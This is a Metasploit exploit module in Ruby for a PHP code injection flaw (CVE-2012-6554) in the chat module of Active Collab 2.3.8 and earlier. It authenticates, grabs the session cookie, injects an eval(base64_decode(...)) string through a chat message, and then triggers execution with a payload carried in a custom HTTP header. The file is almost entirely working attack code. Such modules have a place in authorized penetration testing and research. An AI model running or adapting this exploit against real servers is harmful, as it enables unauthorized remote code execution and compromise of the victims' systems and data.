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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => 'Active Collab "chat module" Remote PHP Code Injection Exploit',
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      'Description'    => %q{
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        This module exploits an arbitrary code injection vulnerability in the
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        chat module that is part of Active Collab versions 2.3.8 and earlier by
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        abusing a preg_replace() using the /e modifier and its replacement
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        string using double quotes. The vulnerable function can be found in
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        activecollab/application/modules/chat/functions/html_to_text.php.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'mr_me <steventhomasseeley[at]gmail.com>',  # vuln discovery & msf module
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        ],
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      'References'     =>
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        [
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          ['CVE', '2012-6554'],
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          ['OSVDB', '81966'],
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          ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'Keys'        => ['php'],
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          'Space'       => 4000,
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          'DisableNops' => true,
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        },
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      'Platform'       => ['php'],
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      'Arch'           => ARCH_PHP,
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      'Targets'        => [['Automatic',{}]],
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      'DisclosureDate' => '2012-05-30',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
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        OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
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        OptString.new('PASS',[true, "The password to authenticate with"])
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      ])
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  end
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  def check
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    login_path = "public/index.php?path_info=login&re_route=homepage"
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    uri = normalize_uri(datastore['URI'])
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    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? login_path : "/#{login_path}"
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    cms = send_request_raw({'uri' => uri}, 25)
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    uri = normalize_uri(datastore['URI'])
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    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'
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    chat = send_request_raw({'uri' => uri}, 25)
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    # cant detect the version here
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    if (cms and cms.body =~ /powered by activeCollab/)
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      # detect the chat module
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      if (chat and chat.code == 200)
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        return Exploit::CheckCode::Detected
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      end
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    user = datastore['USER']
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    pass = datastore['PASS']
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    p = Rex::Text.encode_base64(payload.encoded)
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    header = rand_text_alpha_upper(3)
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    login_uri = normalize_uri(datastore['URI'])
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    login_uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'
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    # login
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    res = send_request_cgi({
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      'method'    => 'POST',
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      'uri'       => login_uri,
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      'vars_post' =>
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        {
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          'login[email]'      => user,
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          'login[password]'   => pass,
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          'submitted'         => "submitted",
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        }
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      }, 40)
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    # response handling
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    if res and res.code == 302
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      if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/
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        acsession = $1
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      end
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    elsif res and res.body =~ /Failed to log you in/
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      print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}")
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    elsif res and res.code != 200 or res.code != 302
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      print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})")
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    end
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    # injection
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    iuri = normalize_uri(datastore['URI'])
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    iuri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'index.php' : '/index.php'
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    iuri << "?path_info=chat/add_message&async=1"
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    phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
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    injection = "<th>\");#{phpkode}</th>"
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    cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
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    res = send_request_cgi({
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      'method'  => 'POST',
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      'uri'     => iuri,
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      'headers' =>
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        {
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          'cookie'  => cookies
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        },
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      'vars_post' =>
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        {
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          'submitted'                  => "submitted",
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          'message[message_text]'      => injection,
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          'message[chat_id]'           => "1",
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          'message[posted_to_user_id]' => "all"
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        }
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    }, 25)
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    euri = normalize_uri(datastore['URI'])
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    euri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
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    euri << "?path_info=/chat/history/1"
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    # execution
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    res = send_request_cgi({
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      'method'  => 'POST',
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      'uri'     => euri,
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      'headers' =>
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        {
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          header    => p,
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          'cookie'  => cookies
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        }
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    })
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  end
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end
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